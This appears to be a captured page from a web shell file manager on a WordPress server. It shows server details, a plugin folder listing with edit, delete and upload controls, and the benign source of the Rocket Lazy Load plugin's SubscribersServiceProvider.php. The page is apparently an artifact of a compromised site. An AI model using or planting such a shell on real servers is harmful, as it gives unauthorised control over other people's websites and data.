[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
rocket-lazy-load
/
src
/
ServiceProvider
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 AdminServiceProvider.php
1,169 B
SET
[ EDIT ]
|
[ DEL ]
📄 ImagifyNoticeServiceProvider.php
708 B
SET
[ EDIT ]
|
[ DEL ]
📄 LazyloadServiceProvider.php
700 B
SET
[ EDIT ]
|
[ DEL ]
📄 SubscribersServiceProvider.php
1,562 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: SubscribersServiceProvider.php
<?php /** * Service Provider for the plugin subscribers * * @package RocketLazyload */ namespace RocketLazyLoadPlugin\ServiceProvider; use RocketLazyLoadPlugin\Admin\ImagifyNotice; use RocketLazyLoadPlugin\Dependencies\LaunchpadCore\Container\AbstractServiceProvider; use RocketLazyLoadPlugin\Dependencies\League\Container\Definition\DefinitionInterface; use RocketLazyLoadPlugin\Dependencies\RocketLazyload\Assets; use RocketLazyLoadPlugin\Dependencies\RocketLazyload\Iframe; use RocketLazyLoadPlugin\Dependencies\RocketLazyload\Image; use RocketLazyLoadPlugin\Subscriber\ImagifyNoticeSubscriber; use RocketLazyLoadPlugin\Subscriber\LazyloadSubscriber; use RocketLazyLoadPlugin\Subscriber\ThirdParty\AMPSubscriber; class SubscribersServiceProvider extends AbstractServiceProvider { public function get_common_subscribers(): array { return [ AMPSubscriber::class, ImagifyNoticeSubscriber::class, LazyloadSubscriber::class ]; } public function define() { $this->register_service( AMPSubscriber::class ) ->share(); $this->register_service( ImagifyNoticeSubscriber::class ) ->share() ->set_definition( function ( DefinitionInterface $instance ) { $instance->addArgument( ImagifyNotice::class ); } ); $this->register_service( LazyloadSubscriber::class ) ->share() ->set_definition( function ( DefinitionInterface $instance ) { $instance->addArguments( [ Assets::class, Image::class, Iframe::class ] ); } ); } }